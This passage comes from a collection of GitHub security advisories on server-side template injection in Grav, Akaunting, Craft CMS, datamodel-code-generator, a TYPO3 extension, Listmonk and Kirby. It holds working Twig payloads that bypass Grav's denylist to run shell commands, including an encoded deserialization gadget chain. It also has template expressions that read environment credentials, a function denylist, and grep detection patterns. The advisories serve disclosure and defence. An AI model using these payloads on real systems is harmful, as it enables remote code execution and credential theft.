\u0027imagecreatefrompng\u0027,\n \u0027imagecreatefromwbmp\u0027,\n \u0027imagecreatefromxbm\u0027,\n \u0027imagecreatefromxpm\u0027,\n \u0027ftp_put\u0027,\n \u0027ftp_nb_put\u0027,\n \u0027hash_update_file\u0027,\n \u0027highlight_file\u0027,\n \u0027show_source\u0027,\n \u0027php_strip_whitespace\u0027,\n ];\n\n static $filesystemFunctions = [\n // read from filesystem\n \u0027file_exists\u0027,\n \u0027fileatime\u0027,\n \u0027filectime\u0027,\n \u0027filemtime\u0027,\n \u0027filesize\u0027,\n \u0027filetype\u0027,\n \u0027is_dir\u0027,\n \u0027is_file\u0027,\n \u0027is_link\u0027,\n \u0027is_readable\u0027,\n \u0027is_writable\u0027,\n \u0027is_writeable\u0027,\n \u0027linkinfo\u0027,\n \u0027lstat\u0027,\n //\u0027pathinfo\u0027,\n \u0027getimagesize\u0027,\n \u0027exif_read_data\u0027,\n \u0027read_exif_data\u0027,\n \u0027exif_thumbnail\u0027,\n \u0027exif_imagetype\u0027,\n \u0027hash_file\u0027,\n \u0027hash_hmac_file\u0027,\n \u0027md5_file\u0027,\n \u0027sha1_file\u0027,\n \u0027get_meta_tags\u0027,\n ];\n\n if (in_array($name, $fileWriteFunctions)) {\n return true;\n }\n\n if (in_array($name, $fileContentFunctions)) {\n return true;\n }\n\n if (in_array($name, $filesystemFunctions)) {\n return true;\n }\n\n return false;\n }\n~~~\n\nThe list of banned functions appears to be adapted from a [StackOverflow post](https://stackoverflow.com/a/3697776). While the denylist looks rather comprehensive, there are actually multiple issues with the denylist implementation:\n1. There may be unsafe functions, be it built-in to PHP or user-defined, which are not be blocked. For example, `unserialize()` and aliases of blocked functions, such as `ini_alter()`, are not being included in the denylist. \n2. A case-sensitive comparison is performed against the denylist, but PHP function names are case-insensitive. This allows using `filter(\u0027SYSTEM\u0027)` to trivially bypass the denylist validation check. \n3. Fully qualified names can be used when referencing functions, allowing `filter(\u0027\\system\u0027)` to trivially bypass the denylist validation checks. \n\n## Exploit Conditions: \nThis vulnerability can be exploited if the attacker has access to:\n1. an administrator account, or\n2. a non-administrative user account with the following permissions granted:\n - login access to Grav admin panel, and\n - page creation or update rights\n\n## Reproduction Steps: \n1. Log in to Grav Admin using an administrator account.\n2. Navigate to `Accounts \u003e Add`, and ensure that the following permissions are assigned when creating a new low-privileged user:\n * Login to Admin - Allowed\n * Page Update - Allowed\n3. Log out of Grav Admin, and log back in using the account created in step 2.\n4. Navigate to `http://\u003cgrav_installation\u003e/admin/pages/home`.\n5. Click the `Advanced` tab and select the checkbox beside `Twig` to ensure that Twig processing is enabled for the modified webpage.\n6. Under the `Content` tab, insert the following payload within the editor:\n ~~~twig\n // Method 1: Using unserialize() to trigger system(\u0027id\u0027) call\n // Serialized payloaed generated using the phpggc tool: ./phpggc -b Monolog/RCE7 system \u0027id\u0027\n // {{ \u0027TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aTowO319czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czozOiJwb3MiO2k6MTtzOjY6InN5c3RlbSI7fX0=\u0027 | base64_decode | array | filter(\u0027unserialize\u0027) }}\n \n // Method 2: Trigger system(\u0027id\u0027) via case-insensitive function names\n {{ [\u0027id\u0027] | filter(\u0027System\u0027) }}\n \n // Method 3: Trigger system(\u0027id\u0027) via fully qualified names when referencing functions\n {{ [\u0027id\u0027] | filter(\u0027\\\\system\u0027) }}\n ~~~ \n7. Click the Preview button. Observe that the output of the `id` shell command is returned in the preview.\n\n## Suggested Mitigations: \nIt is recommended to review the list of functions, both default functions in PHP and user-defined functions, and include missing unsafe functions in the denylist. A non-exhaustive list of missing unsafe functions discovered is shown below:\n- `unserialize()`\n- `ini_alter()`\n- `simplexml_load_file()`\n- `simplexml_load_string()`\n- `forward_static_call()`\n- `forward_static_call_array()`\n\nThe `Utils::isDangerousFunction()` function in [/system/src/Grav/Common/Utils.php](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1956-L2074) should also be patched to disallow usage of fully qualified names when specifying callables, as well as ensure that validation performed on the `$name` parameter is case-insensitive.\n\nFor example,\n~~~diff php\n...\nabstract class Utils\n{\n ...\n /**\n * @param string $name\n * @return bool\n */\n public static function isDangerousFunction(string $name): bool\n {\n ...\n+ if ($arrow instanceof Closure) {\n+ return false;\n+ }\n\n+ $name = strtolower($name);\n+ if (strpos($name, \"\\\\\") !== false) {\n+ return false;\n+ }\n\n if (in_array($name, $commandExecutionFunctions)) {\n return true;\n }\n\n if (in_array($name, $codeExecutionFunctions)) {\n return true;\n }\n\n if (isset($callbackFunctions[$name])) {\n return true;\n }\n\n if (in_array($name, $informationDiscosureFunctions)) {\n return true;\n }\n\n if (in_array($name, $otherFunctions)) {\n return true;\n }\n\n return static::isFilesystemFunction($name);\n }\n ...\n}\n~~~\n\nEnd users should also ensure that `twig.undefined_functions` and `twig.undefined_filters` properties in `/path/to/webroot/system/config/system.yaml` configuration file are set to `false` to disallow Twig from treating undefined filters/functions as PHP functions and executing them.\n\n## Detection Guidance: \nThe following strategies may be used to detect potential exploitation attempts.\n1. Searching within Markdown pages using the following shell command: \n `grep -Priz -e \u0027(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\\|\\s*(filter|map|reduce))\\s*\\(\u0027 /path/to/webroot/user/pages/`\n2. Searching within Doctrine cache data using the following shell command: \n `grep -Priz -e \u0027(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\\|\\s*(filter|map|reduce))\\s*\\(\u0027 --include \u0027*.doctrinecache.data\u0027 /path/to/webroot/cache/`\n3. Searching within Twig cache using the following shell command: \n `grep -Priz -e \u0027(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|twig_array_(filter|map|reduce))\\s*\\(\u0027 /path/to/webroot/cache/twig/`\n4. Searching within compiled Twig template files using the following shell command: \n `grep -Priz -e \u0027(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\\|\\s*(filter|map|reduce))\\s*\\(\u0027 /path/to/webroot/cache/compiled/files/`\n\nNote that it is not possible to detect indicators of compromise reliably using the Grav log file (located at `/path/to/webroot/logs/grav.log` by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.\n\n## Credits: \nNgo Wei Lin ([@Creastery](https://twitter.com/Creastery)) \u0026 Wang Hengyue ([@w_hy_04](https://twitter.com/w_hy_04)) of STAR Labs SG Pte. Ltd. ([@starlabs_sg](https://twitter.com/starlabs_sg))\n\nThe scheduled disclosure date is _**25th July, 2023**_. Disclosure at an earlier date is also possible if agreed upon by all parties. \n\nKindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report: \n1. **CVE-2023-30592**\n Server-side Template Injection (SSTI) in getgrav/grav \u003c= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `Utils::isDangerousFunction()` and to achieve remote code execution via usage of unsafe functions, such as `unserialize()`, that are not blocked. This is a bypass of CVE-2022-2073.\n2. **CVE-2023-30593**\n Server-side Template Injection (SSTI) in getgrav/grav \u003c= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `Utils::isDangerousFunction()` and to achieve remote code execution via usage of capitalised names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.\n3. **CVE-2023-30594**\n Server-side Template Injection (SSTI) in getgrav/grav \u003c= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `Utils::isDangerousFunction()` and to achieve remote code execution via usage of fully-qualified names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.",
"id": "GHSA-j3v8-v77f-fvgm",
"modified": "2023-06-16T19:36:52Z",
"published": "2023-06-16T19:36:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-j3v8-v77f-fvgm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34253"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/244758d4383034fe4cd292d41e477177870b65ec"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/71bbed12f950de8335006d7f91112263d8504f1b"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/8c2c1cb72611a399f13423fc6d0e1d998c03e5c8"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/9d01140a63c77075ef09b26ef57cf186138151a5"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1952-L2190"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/3ef640e6-9e25-4ecb-8ec1-64311d63fe66"
},
{
"type": "WEB",
"url": "https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability"
}
GHSA-J57Q-FF7H-J5XJ
Vulnerability from github – Published: 2025-12-12 00:30 – Updated: 2025-12-12 00:30Akaunting 3.1.8 contains a server-side template injection vulnerability that allows authenticated administrators to execute template expressions in multiple form input fields. Attackers can inject template payloads in items, taxes, transactions, and vendor name fields to perform arithmetic operations and string manipulations.
{
"affected": [],
"aliases": [
"CVE-2024-58293"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-11T22:15:50Z",
"severity": "HIGH"
},
"details": "Akaunting 3.1.8 contains a server-side template injection vulnerability that allows authenticated administrators to execute template expressions in multiple form input fields. Attackers can inject template payloads in items, taxes, transactions, and vendor name fields to perform arithmetic operations and string manipulations.",
"id": "GHSA-j57q-ff7h-j5xj",
"modified": "2025-12-12T00:30:20Z",
"published": "2025-12-12T00:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58293"
},
{
"type": "WEB",
"url": "https://akaunting.com/forum"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/52030"
},
{
"type": "WEB",
"url": "https://www.softaculous.com/apps/erp/Akaunting"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/akaunting-server-side-template-injection-via-multiple-form-fields"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J7FX-V37J-V3W7
Vulnerability from github – Published: 2022-05-13 01:51 – Updated: 2024-04-25 22:32Craft CMS through 3.0.34 allows remote authenticated administrators to read sensitive information via server-side template injection, as demonstrated by a {% string for craft.app.config.DB.user and craft.app.config.DB.password in the URI Format of the Site Settings, which causes a cleartext username and password to be displayed in a URI field.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-20465"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-311"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-25T22:32:04Z",
"nvd_published_at": "2018-12-25T23:29:00Z",
"severity": "HIGH"
},
"details": "Craft CMS through 3.0.34 allows remote authenticated administrators to read sensitive information via server-side template injection, as demonstrated by a `{%` string for `craft.app.config.DB.user` and `craft.app.config.DB.password` in the URI Format of the Site Settings, which causes a cleartext username and password to be displayed in a URI field.",
"id": "GHSA-j7fx-v37j-v3w7",
"modified": "2024-04-25T22:32:04Z",
"published": "2022-05-13T01:51:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20465"
},
{
"type": "WEB",
"url": "https://github.com/phuctam/Server-Side-Template-Injection-in-CraftCMS-/issues/1"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/blob/master/CHANGELOG-v3.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Craft CMS Vulnerable to Server-Side Template Injection"
}
GHSA-J884-Q54Q-MMX3
Vulnerability from github – Published: 2026-07-28 21:35 – Updated: 2026-07-28 21:35Summary
datamodel-code-generator is vulnerable to code injection when generating Python models from an attacker-controlled GraphQL schema. A description on a Union type, written in the regular-string form ("...") with a literal \r escape, is rendered into a Python # comment by a Jinja2 filter that handles only \n. Python's tokenizer treats a bare CR as a physical-line terminator, so the comment ends at the \r and the text after it is parsed as module-level Python. The injected code executes at import time of the generated .py, in the context of any consumer that imports the model. No special CLI flags are required.
This affects versions >=0.25.0, <0.60.1 and is fixed in 0.60.1.
Details
The vulnerable output was generated by the GraphQL Union templates:
src/datamodel_code_generator/model/template/UnionTypeStatement.jinja2src/datamodel_code_generator/model/template/UnionTypeAliasAnnotation.jinja2src/datamodel_code_generator/model/template/UnionTypeAliasType.jinja2
Before 0.60.1, Union descriptions were rendered as Python comments using logic equivalent to # {{ description | replace('\n', '\n# ') }}.
The Jinja2 replace filter handled \n, but bare \r was not normalized. Python's lexical analysis treats CR, LF, and CRLF as physical line terminators. As a result, a malicious GraphQL schema could cause the generated Python comment to end early and emit attacker-controlled text as module-level Python code.
The description value reaches Union generation from graphql-core through description=union_object.description. GraphQL regular string values can contain \r escapes, and graphql-core preserves that value. Block strings are not affected in the same way because their line endings are normalized before reaching code generation.
Impact
An attacker who can provide or influence a GraphQL schema processed by datamodel-code-generator could cause arbitrary Python code to be generated into the output file. That code would execute with the privileges of the process importing the generated model.
This can affect developers, CI pipelines, or applications that run datamodel-codegen --input-file-type graphql on untrusted or third-party GraphQL schemas and then import the generated Python module.
No custom templates, special CLI flags, or remote reference options are required.
Remediation
Upgrade to datamodel-code-generator 0.60.1 or later.
The fix normalizes carriage returns in GraphQL Union descriptions before rendering them as Python comments, so injected text remains inside the comment block.
Resolution
The fix applies comment_safe to GraphQL Union descriptions before template rendering. It normalizes CRLF and bare CR to LF so the existing Union comment templates keep the whole description inside the generated Python comment block.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "datamodel-code-generator"
},
"ranges": [
{
"events": [
{
"introduced": "0.25.0"
},
{
"fixed": "0.60.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54621"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-28T21:35:49Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`datamodel-code-generator` is vulnerable to code injection when generating Python models from an attacker-controlled GraphQL schema. A description on a Union type, written in the regular-string form (`\"...\"`) with a literal `\\r` escape, is rendered into a Python `#` comment by a Jinja2 filter that handles only `\\n`. Python\u0027s tokenizer treats a bare CR as a physical-line terminator, so the comment ends at the `\\r` and the text after it is parsed as module-level Python. The injected code executes at `import` time of the generated `.py`, in the context of any consumer that imports the model. No special CLI flags are required.\n\nThis affects versions `\u003e=0.25.0, \u003c0.60.1` and is fixed in `0.60.1`.\n\n### Details\n\nThe vulnerable output was generated by the GraphQL Union templates:\n\n- `src/datamodel_code_generator/model/template/UnionTypeStatement.jinja2`\n- `src/datamodel_code_generator/model/template/UnionTypeAliasAnnotation.jinja2`\n- `src/datamodel_code_generator/model/template/UnionTypeAliasType.jinja2`\n\nBefore `0.60.1`, Union descriptions were rendered as Python comments using logic equivalent to `# {{ description | replace(\u0027\\n\u0027, \u0027\\n# \u0027) }}`.\n\nThe Jinja2 `replace` filter handled `\\n`, but bare `\\r` was not normalized. Python\u0027s lexical analysis treats CR, LF, and CRLF as physical line terminators. As a result, a malicious GraphQL schema could cause the generated Python comment to end early and emit attacker-controlled text as module-level Python code.\n\nThe `description` value reaches Union generation from `graphql-core` through `description=union_object.description`. GraphQL regular string values can contain `\\r` escapes, and `graphql-core` preserves that value. Block strings are not affected in the same way because their line endings are normalized before reaching code generation.\n\n### Impact\n\nAn attacker who can provide or influence a GraphQL schema processed by `datamodel-code-generator` could cause arbitrary Python code to be generated into the output file. That code would execute with the privileges of the process importing the generated model.\n\nThis can affect developers, CI pipelines, or applications that run `datamodel-codegen --input-file-type graphql` on untrusted or third-party GraphQL schemas and then import the generated Python module.\n\nNo custom templates, special CLI flags, or remote reference options are required.\n\n### Remediation\n\nUpgrade to `datamodel-code-generator` `0.60.1` or later.\n\nThe fix normalizes carriage returns in GraphQL Union descriptions before rendering them as Python comments, so injected text remains inside the comment block.\n\n### Resolution\n\nThe fix applies `comment_safe` to GraphQL Union descriptions before template rendering. It normalizes CRLF and bare CR to LF so the existing Union comment templates keep the whole description inside the generated Python comment block.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-j884-q54q-mmx3",
"modified": "2026-07-28T21:35:49Z",
"published": "2026-07-28T21:35:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-j884-q54q-mmx3"
},
{
"type": "PACKAGE",
"url": "https://github.com/koxudaxi/datamodel-code-generator"
},
{
"type": "WEB",
"url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.60.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "`datamodel-code-generator` vulnerable to code injection via unescaped carriage return in GraphQL Union description"
}
GHSA-J8G2-Q9PF-89W3
Vulnerability from github – Published: 2026-08-25 09:30 – Updated: 2026-08-25 09:30The extension passes an editor-configurable email subject string directly into a Fluid template source without restriction. A backend user with edit access to the event plugin or Backend Module can supply Fluid ViewHelper syntax in this field to disclose sensitive data or execute TypoScript content objects. Exploitation of this issue requires an authenticated backend account with edit access to the event registration plugin or backend module.
{
"affected": [],
"aliases": [
"CVE-2026-77129"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T09:17:33Z",
"severity": "HIGH"
},
"details": "The extension passes an editor-configurable email subject string directly into a Fluid template source without restriction. A backend user with edit access to the event plugin or Backend Module can supply Fluid ViewHelper syntax in this field to disclose sensitive data or execute TypoScript content objects. Exploitation of this issue requires an authenticated backend account with edit access to the event registration plugin or backend module.",
"id": "GHSA-j8g2-q9pf-89w3",
"modified": "2026-08-25T09:30:39Z",
"published": "2026-08-25T09:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77129"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-ext-sa-2026-023"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JC7G-X28F-3V3H
Vulnerability from github – Published: 2025-06-09 13:09 – Updated: 2025-06-10 19:59Summary
The env and expandenv template functions which is enabled by default in Sprig enables capturing of env variables on the host. While this may not be a problem on single-user (super admin) installations, on multi-user installations, this allows non-super-admin users with campaign or template permissions to use the {{ env }} template expression to capture sensitive environment variables.
Upgrade to v5.0.2 to mitigate.
Demonstration
Description
A critical template injection vulnerability exists in Listmonk's campaign preview functionality that allows authenticated users with minimal privileges (campaigns:get & campaigns:get_all) to extract sensitive system data, including database credentials, SMTP passwords, and admin credentials due to some dangerous function being allowed.
Proof of Concept
- Create a user and give him
campaigns:getandcampaigns:get_allprivileges
-
Now login with that user, go to any campaign, go the Content section and here lies the vulnerability, we're able to execute template content which allows us to get environment variables, execute Sprig functions...
-
Now in the text field you can input the following and press Preview:
{{ env "AWS_KEY" }} {{ env "LISTMONK_db__user" }} {{ env "LISTMONK_db__password" }}
Preview:
I had the AWS_KEY variable set like that to confirm the vulnerability:
Impact
- Through these environment variables the attacker can access, they can fully compromise the database, cloud accounts, admin credentials, and more depending on what was setup leading to total system takeover and data breach.
Suggested Fix
- Blacklist some function for templates like env, expandEnv and fail as they can be used to leak environment variables which leads to a full takeover.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/knadh/listmonk"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-49136"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-09T13:09:24Z",
"nvd_published_at": "2025-06-09T17:15:29Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe `env` and `expandenv` template functions which is enabled by default in [Sprig](https://masterminds.github.io/sprig/) enables capturing of env variables on the host. While this may not be a problem on single-user (super admin) installations, on multi-user installations, this allows non-super-admin users with campaign or template permissions to use the `{{ env }}` template expression to capture sensitive environment variables.\n\n**Upgrade to [v5.0.2](https://github.com/knadh/listmonk/releases/tag/v5.0.2)** to mitigate.\n\n---------\n\n# Demonstration\n\n### Description\nA critical template injection vulnerability exists in Listmonk\u0027s campaign preview functionality that allows authenticated users with minimal privileges (campaigns:get \u0026 campaigns:get_all) to extract sensitive system data, including database credentials, SMTP passwords, and admin credentials due to some dangerous function being allowed.\n\n### Proof of Concept\n\n- Create a user and give him `campaigns:get` and `campaigns:get_all` privileges\n\n\n\n- Now login with that user, go to any campaign, go the Content section and here lies the vulnerability, we\u0027re able to execute template content which allows us to get environment variables, execute Sprig functions...\n\n- Now in the text field you can input the following and press Preview:\n```\n{{ env \"AWS_KEY\" }}\n{{ env \"LISTMONK_db__user\" }}\n{{ env \"LISTMONK_db__password\" }}\n````\n\n\n\n# Preview:\n\n\n\nI had the AWS_KEY variable set like that to confirm the vulnerability:\n\n\n\n### Impact\n\n- Through these environment variables the attacker can access, they can fully compromise the database, cloud accounts, admin credentials, and more depending on what was setup leading to total system takeover and data breach.\n\n### Suggested Fix\n\n- Blacklist some function for templates like env, expandEnv and fail as they can be used to leak environment variables which leads to a full takeover.",
"id": "GHSA-jc7g-x28f-3v3h",
"modified": "2025-06-10T19:59:04Z",
"published": "2025-06-09T13:09:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/knadh/listmonk/security/advisories/GHSA-jc7g-x28f-3v3h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49136"
},
{
"type": "WEB",
"url": "https://github.com/knadh/listmonk/commit/d27d2c32cf3af2d0b24e29ea5a686ba149b49b3e"
},
{
"type": "PACKAGE",
"url": "https://github.com/knadh/listmonk"
},
{
"type": "WEB",
"url": "https://github.com/knadh/listmonk/releases/tag/v5.0.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "listmonk\u0027s Sprig template Injection vulnerability leads to reading of Environment Variable for low privilege user"
}
GHSA-JCJW-58RV-C452
Vulnerability from github – Published: 2026-04-23 21:24 – Updated: 2026-05-05 15:43TL;DR
This vulnerability affects all Kirby sites that use option fields (checkboxes, color, multiselect, select, radio, tags or toggles) with options from a query or API whose values may not be fully trusted. It also affects direct uses of the OptionsApi or OptionsQuery classes of Kirby's Options package from plugin or site code. The attack requires either an attacker in the group of authenticated Panel users or user interaction of another authenticated user.
This vulnerability is of high severity for affected sites.
Users' Kirby sites are not affected if they are not using any of the mentioned fields or the Options package, if all options are defined statically in the blueprints or if all dynamically gathered options are to be trusted.
Introduction
Server-Side Template Injection vulnerabilities (SSTI) occur when user input is embedded in a template in an unsafe manner and results in remote code execution on the server.
Injected user input is wrongly treated as a template command instead of as a literal string of text. This allows attackers to query arbitrary information from the affected system or call arbitrary methods to perform actions.
In a Kirby site this can be used to access protected site information, alter site content or break site behavior.
Impact
Kirby provides field types (checkboxes, color, multiselect, select, radio, tags and toggles) that offer a fixed set of options from a configured list. This configured list can be statically defined in the blueprint or it can come from a Kirby query or (external) API source. Options coming from a query or API are treated as dynamic.
Static options can contain queries in the form {{ query }} or {< query >} that are then evaluated to a static value. Because the queries are defined in the blueprint, they can be trusted and cannot be controlled by attackers.
However, dynamic options can often not be trusted. This is why the "options from query" and "options from API" modes are intended to resolve the option values and text strings based on queries not defined within the data source but within the blueprint.
Unfortunately, the results of these trusted queries on untrusted source data are run through the query parser a second time in affected Kirby releases.
Because of the double-resolution of dynamic option values and text strings, attackers could place malicious query templates such as {{ users.first.password }} or {{ page.delete }} in the option sources such as page titles or external API data controlled by the attacker. These queries would then be executed when the field is loaded in the Panel. When the attacker directly accesses the respective Panel view, they could get access to information normally hidden from them. As the malicious query templates are loaded for all users, it could also lead to malicious write access when another user with a higher permission level accesses the manipulated Panel view.
Patches
The problem has been patched in Kirby 4.9.0 and Kirby 5.4.0. Please update to one of these or a later version to fix the vulnerability.
In all of the mentioned releases, Kirby has updated the Options logic to no longer double-resolve queries in option values coming from OptionsQuery or OptionsApi sources. Kirby now only resolves queries that are directly configured in the blueprints.
Credits
Kirby thanks to @offset for responsibly reporting the identified issue.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getkirby/cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "getkirby/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34587"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-23T21:24:00Z",
"nvd_published_at": "2026-04-24T01:16:12Z",
"severity": "HIGH"
},
"details": "### TL;DR\n\nThis vulnerability affects all Kirby sites that use option fields (`checkboxes`, `color`, `multiselect`, `select`, `radio`, `tags` or `toggles`) with options from a query or API whose values may not be fully trusted. It also affects direct uses of the `OptionsApi` or `OptionsQuery` classes of Kirby\u0027s `Options` package from plugin or site code. The attack requires either an attacker in the group of authenticated Panel users or user interaction of another authenticated user.\n\n**This vulnerability is of high severity for affected sites.**\n\nUsers\u0027 Kirby sites are *not* affected if they are not using any of the mentioned fields or the `Options` package, if all options are defined statically in the blueprints or if all dynamically gathered options are to be trusted.\n\n----\n\n### Introduction\n\nServer-Side Template Injection vulnerabilities (SSTI) occur when user input is embedded in a template in an unsafe manner and results in remote code execution on the server.\n\nInjected user input is wrongly treated as a template command instead of as a literal string of text. This allows attackers to query arbitrary information from the affected system or call arbitrary methods to perform actions.\n\nIn a Kirby site this can be used to access protected site information, alter site content or break site behavior.\n\n### Impact\n\nKirby provides field types (`checkboxes`, `color`, `multiselect`, `select`, `radio`, `tags` and `toggles`) that offer a fixed set of options from a configured list. This configured list can be statically defined in the blueprint or it can come from a Kirby query or (external) API source. Options coming from a query or API are treated as dynamic.\n\nStatic options can contain queries in the form `{{ query }}` or `{\u003c query \u003e}` that are then evaluated to a static value. Because the queries are defined in the blueprint, they can be trusted and cannot be controlled by attackers.\n\nHowever, dynamic options can often not be trusted. This is why the \"options from query\" and \"options from API\" modes are intended to resolve the option values and text strings based on queries not defined within the data source but within the blueprint.\n\nUnfortunately, the results of these trusted queries on untrusted source data are run through the query parser a second time in affected Kirby releases.\n\nBecause of the double-resolution of dynamic option values and text strings, attackers could place malicious query templates such as `{{ users.first.password }}` or `{{ page.delete }}` in the option sources such as page titles or external API data controlled by the attacker. These queries would then be executed when the field is loaded in the Panel. When the attacker directly accesses the respective Panel view, they could get access to information normally hidden from them. As the malicious query templates are loaded for all users, it could also lead to malicious write access when another user with a higher permission level accesses the manipulated Panel view.\n\n### Patches\n\nThe problem has been patched in [Kirby 4.9.0](https://github.com/getkirby/kirby/releases/tag/4.9.0) and [Kirby 5.4.0](https://github.com/getkirby/kirby/releases/tag/5.4.0). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.\n\nIn all of the mentioned releases, Kirby has updated the `Options` logic to no longer double-resolve queries in option values coming from `OptionsQuery` or `OptionsApi` sources. Kirby now only resolves queries that are directly configured in the blueprints.\n\n### Credits\n\nKirby thanks to @offset for responsibly reporting the identified issue.",
